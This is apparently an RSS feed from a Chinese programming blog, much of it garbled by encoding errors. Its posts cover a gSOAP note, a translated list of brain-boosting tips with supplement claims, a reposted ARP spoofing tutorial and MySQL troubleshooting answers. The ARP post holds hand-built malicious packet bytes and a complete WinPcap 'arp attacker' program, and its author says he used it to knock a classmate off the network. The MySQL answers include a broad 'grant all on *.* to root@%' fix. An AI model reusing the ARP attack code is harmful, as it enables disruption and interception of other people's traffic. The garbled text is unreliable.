??xml version="1.0" encoding="utf-8" standalone="yes"?>99久久中文字幕,亚洲欧洲久久av,久久综合欧美成人http://www.shnenglu.com/basecolor/(本色)zh-cnWed, 07 May 2025 22:10:47 GMTWed, 07 May 2025 22:10:47 GMT60soap protocolhttp://www.shnenglu.com/basecolor/archive/2007/11/17/36796.html原色原色Sat, 17 Nov 2007 07:55:00 GMThttp://www.shnenglu.com/basecolor/archive/2007/11/17/36796.htmlhttp://www.shnenglu.com/basecolor/comments/36796.htmlhttp://www.shnenglu.com/basecolor/archive/2007/11/17/36796.html#Feedback2http://www.shnenglu.com/basecolor/comments/commentRss/36796.htmlhttp://www.shnenglu.com/basecolor/services/trackbacks/36796.html2.Lgsoap通信部分?br>3.试gsoap与项目通信的融合?br>4.一个请求对应一个响应测试通过?

原色 2007-11-17 15:55 发表评论
]]>
C++内存理Q{载)http://www.shnenglu.com/basecolor/archive/2007/04/04/21258.html原色原色Wed, 04 Apr 2007 11:32:00 GMThttp://www.shnenglu.com/basecolor/archive/2007/04/04/21258.htmlhttp://www.shnenglu.com/basecolor/comments/21258.htmlhttp://www.shnenglu.com/basecolor/archive/2007/04/04/21258.html#Feedback0http://www.shnenglu.com/basecolor/comments/commentRss/21258.htmlhttp://www.shnenglu.com/basecolor/services/trackbacks/21258.html阅读全文

原色 2007-04-04 19:32 发表评论
]]>
健脑2http://www.shnenglu.com/basecolor/archive/2007/01/02/17150.html原色原色Tue, 02 Jan 2007 10:22:00 GMThttp://www.shnenglu.com/basecolor/archive/2007/01/02/17150.htmlhttp://www.shnenglu.com/basecolor/comments/17150.htmlhttp://www.shnenglu.com/basecolor/archive/2007/01/02/17150.html#Feedback0http://www.shnenglu.com/basecolor/comments/commentRss/17150.htmlhttp://www.shnenglu.com/basecolor/services/trackbacks/17150.html
  • 深呼吸:让更多的I气Q氧气)q入血液和大脑。同时深呼吸也可以放松自己?
  • 冥思:单的冥思方法就是闭上双|思A专注在呼怸Q收~肌肉然后再放松w体。走后Q再注意力集中到呼怸Q反复几ơ。更多冥想的Ҏ参见Q?a >http://www.TheMeditationSite.com
  • 坐直
  • Phosphotidyl Serine (PS) Q磷脂酰丝}酸,增强记忆力。(译者注Q?a target="_blank">C氨酸Q?
  • VinpocetineQ长春西汀Q从长春Q据说生长在中南Ƨ的一U藤本植物)׃提取的物质,可以增加脑的供血量。(译者注Q?a target="_blank">长春西汀Q?
  • Gingko BilobaQ银杏,银杏树叶中的萃取物质可以增加脑的供血量?
  • Saint John's WortQ圣U翰草,ȝ忧郁症,改善经功能。(译者注Q中文名Uͼ金丝桃,贯叶q翘Q?
  • 良好的思维习惯Q努力去培养好的思维习惯Q你可能需要一q数周都要在培养q种思维技巧上下一番功夫。比如说看到某种东东Q就会猜x成或者重新进行设计?
  • 使用被占用的旉QUse dead timeQ:q里的时间表C的是被费的时间或者是被用的旉Q比如说开车的时候,{待的时_甚至是在花园中劳作的旉Q这个时候可以听听电子书之类的?Q译者注Q“一心二用”,或者是“挤L里的水”,利用零碎的时_在地铁上Q等待中学习Q当然要注意行R安全Q呵呵)
  • 学习语言Q比如说外语Q方a{等。可以阻止脑的衰老,同时也可以接收新概念Q训l大脑?
  • RosemaryQ迷q香。开H醒脑,有待q一步证实?
  • 专注力练习(Mindfulness exercisesQ:如果心ؕ如麻Q还不如理理思AQ将要做的事情罗列下来(记在W记本上Q,一件g的去做,暂时不要做的׃要L在想它。?原文QConcentration and clear thinking are more or less automatic once you remove distractions. Learn to stop and watch your busy mind. As you notice things that are subtly bothering you, deal with them. This might mean making a phone call you need to make, or putting things on a list so you can forget them for now. With practice, this becomes easier, and your thinking becomes more powerful.?
  • 写作Q凝静坐,写下一些字Q将来回忆v来也Ҏ的。写作可以锻炼创造力和分析能力。比如:日记、诗歌、短文等{?
  • 听听莫扎特:Q译者注Q音乐疗法,呵呵。不q也是很多的传闻了,莫扎特的音乐可以开发儿童的智力。我想不单单是莫扎特了,音乐是大脑的毒品,听听自己喜欢的音乐就好。)
  • 培养直觉Q直觉是大脑的重要意识之一Q爱因斯坦或者诸如此cȝ伟h们的直觉都是一U棒的。(不过可别走火入魔Q呵c)
  • 吃会引发过敏的食物( Avoid foods that cause subtle allergies)Q比如说麦Q玉cIqQ^制品{,你需要体会一下,是不是这些食品ƈ不适合你的体质Q引h化问题和“脑䏀。【原文:These can include wheat, corn, peanuts and dairy products. Watch yourself to see if you have a problem with any of these. They cause digestive problems and brain fog in some people.】(译者:真有点玄Q那q吃什么呢Q要多多注意是了,西方生过敏的很多啊,呵呵。)
  • 优质睡眠Q不在睡的时间有多长Q更重要是睡的好不好。午后小憩也很有帮助?
  • 咖啡因:因h而异Q刺Ȁ经对h有帮助,但过量的咖啡因还有可能导致错误的决策。(摄入q量也睡不着啊,呵呵Q?
  • 避免吃糖QQ何碳水化合物都能够造成“脑?brain fog”,有时也称之ؓ“糖忧郁 sugar blues ”,症状是思维不清晰。原因是p的摄入Q会有更多的胰岛素参与到血液中来分解糖分。所以重要的脑力工作之前避免吃糖Q面食,薯条之类的。【原文: Avoid sugar. Any simple carbohydrates can give you "brain fog." Sometimes called the "sugar blues" as well, this sluggish feeling makes it hard to think clearly. It results from the insulin rushing into the bloodstream to counteract the sugar rush. Avoid pasta, sugars, white bread and potato chips before any important mental tasks.?
  • 声音催眠QHypnosis audios?a >http://www.IncreaseBrainPower.com/self-hypnosis-tapes.html
  • 快速阅读:Speed reading?
  • Q体ԌȝQ?
  • 虚拟朋友QImaginary friends。在自己的脑中设|几个虚拟角Ԍq且试在彼此之间进行交谈,特别是设想一下和你交谈的那个“博学的朋友”能够给你很多徏议?
  • 培养创造力
  • 提高学习效率Q比如说Q记W记、学习后l自己提问、适当的“课间放䏀?
  • 保持清晰思\的方法:整洁的办公室、家庭环境。思考之前可以长叹一下、个懒腰、深呼吸。间歇时间设|一些头脑风暴环节?
  • Brain wave entrainment. The newest brain wave entrainment products are powerful tools for altering your brain function. Some will almost immediately relax you, while others will put your brain waves in a pattern that is most conducive to analytical thinking. For more information on these, you can visit here: http://www.IncreaseBrainPower.com/brain-wave-entrainment.html
  • 肌肉素:Creatine。【原文: This is a compound found in meat, used by athletes to help build muscle. Now the evidence is here to show that it helps your brain as well. Proceedings B , a journal published by the Royal Society reports that the research showed improvement in working memory and general intelligence resulting from creatine supplementation. The dose used in the study was 5 grams per day. This is about the level used to boost sports performance, and is as much as you'd normally get in four pounds of meat, according to lead researcher Dr. Caroline Rae.?
  • 交谈Q试着向朋友解释你没有理解的东西,q个q程本n能够提高你的理解能力?
  • 做爱做的事:隑ֺ低,但是又可以促q你的大脑,看电视不,比如说玩拼字游戏Q做个鸟Wg么的Q主要是希望你能全n心投入这个愉悦当中?
  • 增强自信心:Adjust your beliefs。你要相信你来聪明,你真的就会越来越聪明Q呵c不断的l自׃鼓励Q体x功的喜悦。将好的x记录下来Q这些都是你变得来聪明的证据?
  • 脑力ȝQBrain exercises。做做数学题Q想惛_见的东东q有哪些新的功用。经怋用大脑不但可以促生新的神l元l胞Q还可以Lq龄增长带来的老化问题?
  • 研究C物:Learn new things.
  • 散步Q冲d不是很大Q但是可以有助于清晰思维。散步的时候带上个可以做记录的工具更有帮助了?
  • 模仿他hQ树立榜PModel others。有创造力的、智慧的、有效率的h都是我们学习的榜P想之所惻I做之所做,吸收他们的宝늻验?
  • 吃鱼Q?
  • 避免不必要的争吵Q争论是有必要的Q但是要适可而止Q如果双斚w自以为是Q这L争吵是没有h值的?
  • 大笑Q?
  • 玩(游戏Q:包括脑力游戏Q动作游戏(cM的时候的丢手l那U吧Q眼手ƈ用的那种。划拻I呵呵Q作者没有提PC gameQ?
  • 猜谜Q拼字谜Q推理,谜语{等Q不受场地限ӞҎq行?
  • 唱歌Q?
  • q果QNuts。含有矿物质和}基酸。比如杏仁、核桃?
  • 榄油:Olive oil。含不饱和脂肪酸Q增忆力。canola oil是其廉h替代品?
  • 补充l生素:Vitamin supplements?
  • U维素:Fiber?
  • 自我认识QSelf awareness。只有认清自己才能避免固执己见?
  • 自我Ȁ励:Motivate yourself?
  • 避免q重的压力:Avoid too much stress。长期压力过大会造成脑损伤?
  • 接受教育QGet educated。(要当作长期工作来做,zd老学到老,呵呵。)
  • 避免q度肥胖QAvoid too much fat。实验室研究Q脂肪过多,学习速度׃降低。所以吃榄油,或者其他不饱和脂肪酸的油吧?
  • 吃Q吃的太多,消化pȝ需要的血液量׃更多Q脑的供血量就会降低?
  • 吃可疑食物QAvoid suspect foodsQh造色素、h造甜呛_、腌制品、白p、高p饮料、白面包、面_制品等。【原文:There is evidence that the following foods can be bad for your brain: Artificial food colorings, artificial sweeteners, colas, corn syrup, frostings, high-sugar drinks, hydrogenated fats, sugars, white bread, and any white-flour products.?
  • 吃早?
  • 避免p尿病:
  • 吃抗氧化食物QEat foods high in antioxidants。可以保护细胞,特别是脑l胞Q葡萄干、蓝莓、黑莓、大蒜、甘蓝、浆果、草莓、菠菜等{?
  • 喝(U)酒:U酒中的抗氧化物质比较丰富?
  • 适度饮酒QUse alcohol in moderation.。适度饮酒比不饮酒或者过度饮酒的人都要聪明。【原文:In a study at the University of Indiana School of Medicine, elderly light drinkers (fewer than 4 drinks per week) scored higher on tests of thinking abilities than non-drinkers. Those who drank 10 or more drinks per week scored lower. It is known that alcohol can kill brain cells, so moderation seems to be the key.?
  • 摄入叉QFolic acid。可以缓解压力,增强记忆力?
  • 健脑食品QPotential brain foods。比如:鳄梨、香蕉、牛肉、酵母制品、花椰菜、糙c뀁抱子甘蓝、哈密瓜、干酪、鸡肉、羽衣甘蓝、鸡蛋、亚ȝ沏V豆cR麦片、桔、花生酱、豌豆、土豆、莴苣、大马哈鱹{大豆、菠菜、金枪鱼、火鸡、酸奶等
  • l生素EQ抗氧化剂,降低血硬度?
  • l生素CQ?
  • 元素:可以E_情AQ巴西坚果和大蒜中的含量较高?
  • 辛酸:Alpha-lipoic acidQ增忆力Q保护神l元l胞。(参见Q?a target="_blank">辛?/u>Q?
  • 肌糖QInositol。缓解压力,有助思维。精力补l?
  • xqQHuperzine A。石松中的萃取物Q可以增忆力。(参见Q?a target="_blank">xqQ?
  • 提问Q?
  • Sniff basilQ一U香草?
  • 温度QTemperature。不同的人对不同的温度比较敏感,管温度低些人感觉不舒服Q但是有助于思考。所以选择Q营造)一下合适你的温度?
  • 学会使用工具和方法来辅助自己。【原文:Use systems. From the time I was ten years old, 12 x 49 was always (12 x 50) - 12. It's easier to figure in your head this way (588, by the way). I didn't get any credit for my personal algorithms then, but they are selling these shortcuts on late-night TV now, because they work. You can find your own easier ways to do mental math or other mental tasks, or read a good book on them.?
  • 制定脑力Q训l)计划Q专家说建立新的习惯大概要用?0-30天的旉来反复加强,q就意味着你需要制定一个脑力训l计划,告诉自己怎么dQ又怎么q食?/li>

    原色 2007-01-02 18:22 发表评论
    ]]>Arpƺ骗http://www.shnenglu.com/basecolor/archive/2006/12/31/17100.html原色原色Sun, 31 Dec 2006 10:23:00 GMThttp://www.shnenglu.com/basecolor/archive/2006/12/31/17100.htmlhttp://www.shnenglu.com/basecolor/comments/17100.htmlhttp://www.shnenglu.com/basecolor/archive/2006/12/31/17100.html#Feedback0http://www.shnenglu.com/basecolor/comments/commentRss/17100.htmlhttp://www.shnenglu.com/basecolor/services/trackbacks/17100.html ?? arpƺ骗DIY
    ?? enolaZ
    ?? 2006-10-20,13:25
    ?? http://bbs.pediy.com/showthread.php?threadid=33573

    前段旉我们学校的的|络L出现掉线的问题,后来说是ARPƺ骗Q要我们用ANTIARPSNIFFER。小弟不才,

    也想搞清楚这个ARPƺ骗到底是个什么东ѝ于是在|上查了点资料,看了Ҏ档。也是DIY了一个出来,?br />
    且可以不被ANTIARPSNIFFER发现的让ҎL在网l中L。于是把q个东西脓出来让大家一h玩一下?br />   在下菜鸟一只,q请高手指教
    参考资料:《TCP/IP详解IIQ实现》,《WINPCAP 3.0 DOC?《交换网l中的嗅探和ARPƺ骗》(一位叫RefDom

    的大哥很久前写的帖子Q?br />
       一般在局域网中的各主Z般都是连接到同一个交换机Q或是HUBQ,再由交换接\由器Q\由器再与

    相对于该局域网的外部网l相q。在我们的主机和交换机的内存中,都保留着一张ARP的缓存表Q你可以在cmd

    下用arp -a来查看)Q它记录着IP地址和MAC地址的对应关pR当外部|络的一个包传进来,交换机通过q个?br />
    的IP地址Q在他的ARP~存表中查找其对应的MAC地址Q因Z换机是工作在链\层的Q所以他只会ҎMAC地址

    来判断是哪个LQ,当找到时Q他把q个包传l拥有这个MAC地址的主机。当L向外部网l通信的时候,

    L查询自己的ARP~存表里|关Q在q里是交换机)Q这个网x用IP地址定的)的MAC地址Q然后将?br />
    传给交换机,交换Z看是它的MAC地址Q就把这个包往上传l\由器?br />   我们可以把IP比做姓名Q把MAC地址比做联系方式
       当主接上|络Ӟ他会发送一个广播(ARP REQUESTQ说Q大家好Q我是IP xxx,q是我的MAC地址aaaQ?br />
    大家以后用他联系Q叫IP YYY的网兛_哥的MAC地址是多啊 Q小弟以后找q要拜托大哥了,C联系方式先~
       然后|关IP YYY告诉IP XXX_ARP REPLYQ:我就是网关IP XXXQ我已经C了你IP和你的MAC地址Q我?br />
    MAC地址是cccQ以后有事联p,别客气~

       现在Q假如出C一些不明原因的错误Q主机A中的arp~存表中|关IP YYY对应的MAC地址不是|关的,?br />
    是另一C机B的(BBBQ,那么当主机A发送了一个包Ӟ他查询自qARP~存表,把主机B的MAC地址填在?br />
    |关的地方,然后把包发了出去Q交换机一看这个MAC地址Q心惌不是l我的小弟B的吗Q于是把q个包发l?br />
    了内|中的BQ而主机A却不知道q个包已l迷失在了网l中?br />  再假讑֏一个错误,现在L中的arp~存表没错,而交换机的缓存错了,LA的IP对应的MAC地址上填的是

    LB的!Q那么当外部|络的一个发l主机A的包到达交换机的时候,交换机查自己的ARP~存表,一看这个IP

    QA的)对应了自己内|中一个主机的MAC地址 QB的)Q于是就把这个包传给了拥有这个MAC地址的BQ而不是A

    Q?br />   另外q有一点很重要的是QARP协议中,无论LA有没有REQUEST或是已经收到了REPLYQ当再有REPLY来的

    时候,它都会记下这个REPLY中的信息Qƈ更新自己的ARP~存。同样交换机Q也只要是有L发送ARP REQUEST

    Q他׃Cq个信息Qƈ更新自己的ARP~存Q而不会管q个h是对是错

       原谅我说了这么多晦ӆ的话Q但q决不是废话Q因为所谓的arpƺ骗是上面所说的两个错误Zؓ的造成

    ?br />  W一U欺骗方法:ƺ骗LA_我是|关IP YYYQ我的MAC地址ҎBBB了,于是LA出C我们刚说?br />
    W一U情늚错误?br />  W二U欺骗方法:ƺ骗交换Q我是主机A IP XXXQ我的MAC地址是BBBQ于是交换机出现了我们说的第?br />
    U情늚错误?br />
      既然要骗人家Q就要让别h怿你说的是真的Q首先我们要W合ARP包的格式Q另外我们要让该真的地方真,

    q样别h才会怿你说的假话?br />  先来看下ARP包是个什么样的(TCP/IP详解II?1-7有详l说明,大家可以查查看)
     typedef struct ethhdr               //以太|头部,长度14
    {
      unsigned char dst[6];       //目的的MAC地址
      unsigned char src[6];       //源的MAC地址
      unsigned short type;        //帧类?br />}ETHHDR,*PETHDHR;

    typedef struct eth_arphdr           //以太|arp字段长度28
    {
      unsigned short arp_hrd;     //gcd
      unsigned short arp_pro;     //协议cd
      unsigned char  arp_hln;     //g地址长度Q?Q?br />  unsigned char  arp_pln;     //协议地址长度Q?Q?br />        unsigned short arp_op;      //回应q是h
     
      unsigned char arp_sha[6];   //发送者MAC地址
      unsigned long arp_spa;      //发送者IP
      unsigned char arp_tha[6];   //接收者MAC地址
      unsigned long arp_tpa;      //接收者IP
    }ETH_ARPHDR,*PETH_ARPHDR;

    typedef struct arp                  //整个ARP包的l构
    {
        ETHHDR ethhdr;
        ETH_ARPHDR eth_arp;
    }ARP,*PARP;  


      现在我们再来看下arp request 和arp reply到底是个什么样子?br />  我打开了winpcap devlopment pack中的一个例子程序TestApp,他带有很单的嗅探功能Q然后我?br />arp -d 10.10.63.254(我的|关IP地址Q,清除了我的ARP~存表中|关的记录,q一下,我再用arp -a查看?br />
    q~存表,|关的IPQMAC又写上来了,q说明一ơREQUEST和REPLY已经完成。于是,我在TestApp的输Z

    扑ֈ了他们的包的记录Q?br />我的IP地址?0.10.63.37(?a 0a 3f 25),MAC地址?0 20 ED 89 53 B9
    我的|关的IP地址?0.10.63.254(?a 0a 3f fe),MAC地址?0 11 5d ac e8 00

    request的:长度42
        FF FF FF FF FF FF 00 20 ED 89 53 B9 08 06 00 01 08 00 06 04 00 01 00 20 ED 89 53 B9 0A 0A 3F 

    25 00 00 00 00 00 00 0A 0A 3F FE
    reply的:  长度60
        00 20 ED 89 53 B9 00 11 5D AC E8 00 08 06 00 01 08 00 06 04 00 02 00 11 5D AC E8 00 0A 0A 3F 

    FE 00 20 ED 89 53 B9 0A 0A 3F 25 00 00 00 00 00....(后面都是?填充Q?br /> 
    好了Ҏq两个包Q我们就能构造恶意的REQUEST和REPLYQ假如我们要让一台内|中的主机C消失Q假设他的IP

    ?0.10.63.123,MAC地址?1 22 33 44 55 66那么我们可以q样来构造包Q我们用一个伪造的MAC地址Q比

    如是AA BB CC DD EE FF
    恶意的request:长度42
        FF FF FF FF FF FF AA BB CC DD EE FF 08 06 00 01 08 00 06 04 00 01 AA BB CC DD EE FF 0A 0A 3F 

    7B 00 00 00 00 00 00 0A 0A 3F FE
    当交换机接受了这个请求ƈ更新了自qARP~存后,M发给10.10.63.123的包都会转发到MAC地址?br />AA BB CC DD EE FF的主机(假如q个L才内|中存在的话Q?br />恶意的reply :长度60
        11 22 33 44 55 66 AA BB CC DD EE FF 08 06 00 01 08 00 06 04 00 02 AA BB CC DD EE FF 0A
    0A 3F FE 11 22 33 44 55 66 0A 0A EF 7B 00 00 00 00 00.....Q后面用0填充Q?br />当主机接受到了这个包Qƈ更新了自qARP~存后,他所发的M包都会{发给拥有q个MAC地址的主机(?br />
    上,q个L必须存在Q?br />   现在假如交换机和L都被ƺ骗了,于是出Cq样的一个情况:LA和其他主机或是外部网l的一?br />
    通信都会传l这个伪造MAC的主机,而如果这个主机再这些包转发l原来的接收方的话,他就成了THE 

    MIDDLE MANQ而这U方式也正是交换机网l中的嗅探原理了。有兴趣的话Q大家也可以写个试试~

       现在回到我们的话题上来,当我们自q|络中出CcM的欺骗的时候,我们应该怎么防范Q很多h估计

    都会惛_用专门的软gQ比如ANTIARPSNIFFER3.0Q这个Y件实际是网关的IP地址和MAC地址的对应关pȝ?br />
    Q当接受C个ARP REPLY时他会查看这个包中发送方的IP和MAC地址Q如果IP是网关的Q而MAC地址不是Q那?br />
    p是个ARPƺ骗Q于是记录这个假的MAC地址Q当然我们可以伪造,如果你想架祸人的话,也可以填别h

    ?..,但如果你是想嗅探Q即是你自己的MAC地址Q,那么你可能会在某天被一h抓出L打一?..Qؓ什

    么我们生zȝ世界q么暴力Q不能和q军_Q额...我请大哥们吃K怎么PQ)
       ANTIARPSNIFFER可以有效的阻止发送给L的欺骗REPLYQ但他无法阻止发送给交换机的ƺ骗REQUESTQ因?br />
    也就无法捕获恶意d者的MAC地址Q所以我个h认ؓ站在d的角度,W二U欺骗方式要比第一U来的更加有

    效和不易被发玎ͼ毕竟谁的会关注自w的安全Q却往往忽视C会整体的安全隐?...要想解决q个问题Q就?br />
    L交换机的ARP~存设ؓ静态(卛_IP和MAC的对应关p锁死)Q用ARP -SQ来解决。然而,对于L使用

    DHCP动态获取IP的网l(比如我们学校的网l)Q由于IP与MAC地址无法在长旉内保持一_因此交换机的

    ARP~存表必L可更新的Q即动态)Q于是对于这U网l,发送欺骗REQUESTl交换机的攻L式将是无法解

    决的....
       也正因ؓ此,我所~写的一个测试程序是ZW二U攻L式(卛_送加的ARP REQUESThl交换机Q?br />
    ׃是测试程序,我把一切可能出错的部分都做了最化以方便调试Q程序相当简陋,不过仍然很有效?br />另外要说明的是,我安装了WINPCAP 3.0(一个OPEN SOURCE的网卡驱动项目)和他的开发包。ƈ参考了WINPCAP
    DOC中的E序和RefDom大哥在帖子里的程序,当然q有伟大的W.Richard.Stevens的《TCP/IP详解II实现》第21

    ?br />
    /////////////////////////////////////////////////////////////////////////////
    //    arp attacker
    //    author:enolaZ
    //    e-mail:enolaz@126.com
    /////////////////////////////////////////////////////////////////////////////
    #include<stdio.h>
    #include"packet32.h"
    #include<winsock2.h>
    #pragma comment(lib,"ws2_32")
    #pragma comment(lib,"packet")

    #define EPT_ARP 0x0806                //定义了一些在构造包的时候要用到的常?br />#define EPT_IP 0x0800
    #define ARP_HARDWARE 0X0001
    #define ARP_REPLY 0x0002
    #define ARP_REQUEST 0x0001

    #pragma pack(push,1)                //在定义结构的时候一要用到pack(push,1)和下面的pack(pop)
                                        //否则你构造的l构的长度会有问?br />
    typedef struct ethhdr               //以太|头部,长度14
    {
      unsigned char dst[6];       //目的的MAC地址
      unsigned char src[6];       //源的MAC地址
      unsigned short type;        //帧类?br />}ETHHDR,*PETHDHR;

    typedef struct eth_arphdr           //以太|arp字段长度28
    {
      unsigned short arp_hrd;     //gcd
      unsigned short arp_pro;     //协议cd
      unsigned char  arp_hln;     //g地址长度Q?Q?br />  unsigned char  arp_pln;     //协议地址长度Q?Q?br />        unsigned short arp_op;      //回应q是h
     
      unsigned char arp_sha[6];   //发送者MAC地址
      unsigned long arp_spa;      //发送者IP
      unsigned char arp_tha[6];   //接收者MAC地址
      unsigned long arp_tpa;      //接收者IP
    }ETH_ARPHDR,*PETH_ARPHDR;

    typedef struct arp                  //整个ARP包的l构
    {
      ETHHDR ethhdr;
        ETH_ARPHDR eth_arp;
    }ARP,*PARP;

    #pragma pack(pop)

    #define Max_Num_Adapter 10

    char        AdapterList[Max_Num_Adapter][1024];  //定义的网l适配器列?br />
    int main (int argc,char* argv[])
    {
      LPADAPTER  lpAdapter = 0;               
      LPPACKET   lpPacket;
      int        i;
      DWORD      dwErrorCode;
      WCHAR     AdapterName[8192]; 
      WCHAR     *temp,*temp1;                 //AdapterNames的内容{存到AdapterList时用
      int     AdapterNum=0;
      ULONG     AdapterLength;
      ARP arpPacket;                           //定义的包l构实例
      char szPktBuf[256000];                   //用于存放包的内容


            printf("%d\n",sizeof(ETHHDR));           //q?行是我在试l构长度时用的,如果没有使用?br />  printf("%d\n",sizeof(ETH_ARPHDR));       //前说的pack(push,1),pack(popQ长度就成了14Q?2
      printf("%d\n",sizeof(ARP));              //48Q与我们的arp包的格式不符
      i=0;  
      AdapterLength = sizeof(AdapterName);
      if(PacketGetAdapterNames((char *)AdapterName,&AdapterLength)==FALSE)//获取所有网l适配?br />  {
        printf("Unable to retrieve the list of the adapters!\n");
        return -1;
      }
      temp=AdapterName;
      temp1=AdapterName;
      while ((*temp!='\0')||(*(temp-1)!='\0'))          //AdapterNames的内容{存到AdapterList
      {
        if (*temp=='\0') 
        {
          memcpy(AdapterList[i],temp1,(temp-temp1)*2);
          temp1=temp+1;
          i++;
        }
        temp++;
      }
        
      AdapterNum=i;
      for (i=0;i<AdapterNum;i++)
        wprintf(L"\n%d- %s\n",i+1,AdapterList[i]); //输出获得的所有网l适配?br />  printf("\n");  
      
      lpAdapter =   PacketOpenAdapter(AdapterList[0]);   //得到对应|络适配器的_Adapterl构,我 ?br />
                                                               //׃个当然是0了 ?br />  if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
      {
        dwErrorCode=GetLastError();
        printf("Unable to open the adapter, Error Code : %lx\n",dwErrorCode); 
        return -1;
      }  

            lpPacket=PacketAllocatePacket();                       //得到一个包的_Packetl构
      if(lpPacket==NULL)
      {
        printf("alloc lppacket failed");
        return -1;
      }

            ZeroMemory(szPktBuf,sizeof(szPktBuf));                //包的缓存区清空

      arpPacket.ethhdr.dst[0]=0xff;                     //开始填充包l构arpPacket
            arpPacket.ethhdr.dst[1]=0xff;
      arpPacket.ethhdr.dst[2]=0xff;
      arpPacket.ethhdr.dst[3]=0xff;
      arpPacket.ethhdr.dst[4]=0xff;
      arpPacket.ethhdr.dst[5]=0xff;

      arpPacket.ethhdr.src[0]=0x00;                     //一个伪造的MAC地址
            arpPacket.ethhdr.src[1]=0x20;
      arpPacket.ethhdr.src[2]=0xce;
      arpPacket.ethhdr.src[3]=0xa8;
      arpPacket.ethhdr.src[4]=0x54;
      arpPacket.ethhdr.src[5]=0x33;

      arpPacket.ethhdr.type=htons(EPT_ARP);
      arpPacket.eth_arp.arp_hrd=htons(ARP_HARDWARE);
      arpPacket.eth_arp.arp_pro=htons(EPT_IP);
      arpPacket.eth_arp.arp_hln=6;
      arpPacket.eth_arp.arp_pln=4;
      arpPacket.eth_arp.arp_op=htons(ARP_REQUEST);

      arpPacket.eth_arp.arp_sha[0]=0x00;                    //仍然是假的MAC地址
      arpPacket.eth_arp.arp_sha[1]=0x20;
      arpPacket.eth_arp.arp_sha[2]=0xce;
      arpPacket.eth_arp.arp_sha[3]=0xa8;
      arpPacket.eth_arp.arp_sha[4]=0x54;
      arpPacket.eth_arp.arp_sha[5]=0x33;
      arpPacket.eth_arp.arp_spa=inet_addr("10.10.63.123");   //冒充对象的IP

            arpPacket.eth_arp.arp_tha[0]=0x00;
      arpPacket.eth_arp.arp_tha[1]=0x00;
      arpPacket.eth_arp.arp_tha[2]=0x00;
      arpPacket.eth_arp.arp_tha[3]=0x00;
      arpPacket.eth_arp.arp_tha[4]=0x00;
      arpPacket.eth_arp.arp_tha[5]=0x00;
      arpPacket.eth_arp.arp_tpa=inet_addr("10.10.63.254");   //|关IP
            printf("%d\n",sizeof(arpPacket));
      memcpy(szPktBuf,(char*)&arpPacket,sizeof(arpPacket));  
      PacketInitPacket(lpPacket,szPktBuf,60);                
            while(getchar()!='q')                                     //当输入ؓq时结?br />  {
            if(PacketSendPacket(lpAdapter,lpPacket,true)==false)  //不断发送伪造信息,目标的正确
                                                                  //ARP REQUESTҎ
        {
            printf("error in sending packet");
            return -1;
        }
      }
      printf("send ok");
      PacketFreePacket(lpPacket);        //一Ҏ工作
      PacketCloseAdapter(lpAdapter);

        return 1;
    }

    好了Q这个异常简陋的E序l束了,我对我们内部|的某同学测试过Q当我程序启动不久,M寝室看,他已

    l掉U了Q而他的AntiArpSniffer却没有报警,呵呵q说明攻d成功~?br />当然要说明的一ҎQ这个东西完全是研究学习用,没有恶意Q也希望大家不要随便对别人做坏事Q恩恩,?br />
    了学习研I的目的当然可以做一下实验,但不要太有破坏性哦~Q如果你惌一愤怒的众痛打Q那我也没话

    ?..)。可怜了我那位实验对象?..找个Z请他吃个饭吧~



    原色 2006-12-31 18:23 发表评论
    ]]>
    c++ mysql 问题Ҏ记录http://www.shnenglu.com/basecolor/archive/2006/12/19/16610.html原色原色Tue, 19 Dec 2006 05:21:00 GMThttp://www.shnenglu.com/basecolor/archive/2006/12/19/16610.htmlhttp://www.shnenglu.com/basecolor/comments/16610.htmlhttp://www.shnenglu.com/basecolor/archive/2006/12/19/16610.html#Feedback1http://www.shnenglu.com/basecolor/comments/commentRss/16610.htmlhttp://www.shnenglu.com/basecolor/services/trackbacks/16610.htmlFile: c++ mysql~程出现的问?br />
    Q:查汉字出错是什么原因?
    A: 可以采取以下几种Ҏ?br />   (1).在安装mysql旉支持中?_gb2312)?br />   Q?Q在E序里可用支持中文的操作。如字段username.可以写成
               username like _gb2312 'basecolor' collate gb2312_chinese_ci
             或加?set names 'gbk'"
       (3)。改脚本mysql.ini里latinҎgb2312


    Q:MYSQL出现access denied for user 'odbc'@'localhost' (using password:YES)
    我用命o提示W进去,去连接MYSQL数据库,用了MYSQL -P密码Q就是会出现q个提示Q请问怎么解决
    A:windows下dos默认的用hodbcQ但是在mysql里ƈ没有odbcq个用户Q所以出错,你改成mysql -uroot -p q样可以了,q里使用了root用户Q当然你也可以用其它的用户Q但是前提是它有本地d的权限?br />
    QQ?br />重装pȝ之后mysql׃能用了,后来重装mysqll果q是不能用,是什么原因?
    AQ?br />重装mysql需把以前旧的目录手工删除?br />
    Q:
    mysql_real_connect(&mysql,"127.0.0.1",user,psw,DB,MYSQL_PORT,NULL,0)))时连接正常?br />当改成如?br />mysql_real_connect(&mysql,"192.168.0.1",user,psw,DB,MYSQL_PORT,NULL,0)))
    出错。出错信息ؓQ?HY000Host 'null' is not allowed to connect to this Mysql server
    int error=mysql_errno(&mysql);error=1130;
    A:
    先授权允许mysql从Q何主Zq接Q看看行不行Q?br />mysql>grant all on *.* to 'root'@'%' identified by 'password';
    mysql>flush privileges;
    如果q是不行Q你把所有的匿名用户都删?br />mysql>use mysql;
    mysql>delete from user where user='';
    mysql>flush privileges;
    ------
    有用户名的时候:
    首先你要定你的mysql有没?prince886'q个用户Q它允不允许q程dQ?br />解决ҎQmysql>grant all on *.* to 'prince886'@'%' identified by 'password';
              mysql>flush privileges;
    另外Q上面赋于的权限很大Q可能会引v安全问题Q它的意思是允许prince886q个用户从Q何地方登录,可以览Q修改Q何数据库

    Q:
    怎样实现三个表的查找?
    A:
    select t.id1,ifnull(t1.name1,''),t.id2,ifnull(t2.name2,'') from t LEFT join t1 on t.id1=t1.id1 left join t2 ON t.id2=t2.id2;

    Q:
    不停的向数据d操作的时候,会出现内存不I
    AQ?br />E序操作的时候没有释放查询的l果集,D内存不。须释放每次查询的结果集?br />
    Q:
    查表出现"mysql server has gone away"是什么?
    A:
    如果代码没问题,那么最大的可能是数据库的wait_timeout的原因,mysql的默认等待时间是8时Q如?个小时之后数据库q是I闲的,则会x。所以当你再ơ读写数据库的时候就会出C面的提示?/p>

    原色 2006-12-19 13:21 发表评论
    ]]>
